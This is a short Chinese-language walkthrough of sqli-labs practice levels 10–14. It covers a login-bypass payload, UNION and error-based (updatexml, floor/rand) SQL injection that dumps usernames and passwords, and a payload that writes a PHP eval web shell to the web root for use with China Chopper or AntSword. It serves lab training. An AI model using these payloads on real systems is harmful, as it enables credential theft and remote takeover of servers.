前言:题目来源sqli-labs-master第10/11/12/13/14题,不能用联合就报错,方法如下: 尝试是否有万能密码,然后考虑联合注入,然后尝试报错注入这里两种方式我都讲解一下。 uname=' or 1=1 #&passwd=admin&submit=Submit 这里有个小问题就是–+不能用,不知道为什么,这里万能密码是可以的 ,来试试联合注入。
联合注入
uname=' union select 1,2 #&passwd=admin&submit=Submit
成功,接下来就是爆库了,表 uname=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()) #&passwd=admin&submit=Submit
字段uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users') #&passwd=admin&submit=Submit 报错注入就是这点不好,只能显示30位,后面的显示不出来,后面讲解怎么办。 爆库uname=' union select 1,(select group_concat(username,'%20',password) from users) #&passwd=admin&submit=Submit 这里要注意这里的users是没有引号的,上面是有的,至于为啥我也不清楚
报错注入
首先爆表uname=' and updatexml('',concat('~',( select group_concat(table_name) from information_schema.tables where table_schema=database() )),'') #&passwd=admin&submit=Submit 然后爆字段uname=' and updatexml('',concat('~', (select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user','current_connections','total_connections') ) ),'') #&passwd=admin&submit=Submit 有点长,因为不带not in的话显示不下后面的username和password
另一种报错注入,基于floor,rand的uname=admin" and (select count(*) from information_schema.tables group by concat((select group_concat(username,'%20',password) from users ) ,floor(rand(0)*2)) ) #&passwd=admin&submit=Submit 但是这个出问题了 说子查询超了一行
可以插入一句话木马
uname=' union select 1, "<?php @eval($_POST['ring']); ?>" into outfile "D://phpstudy_pro//WWW//ring.php" #&passwd=admin&submit=Submit 然后用菜刀或者antsword
|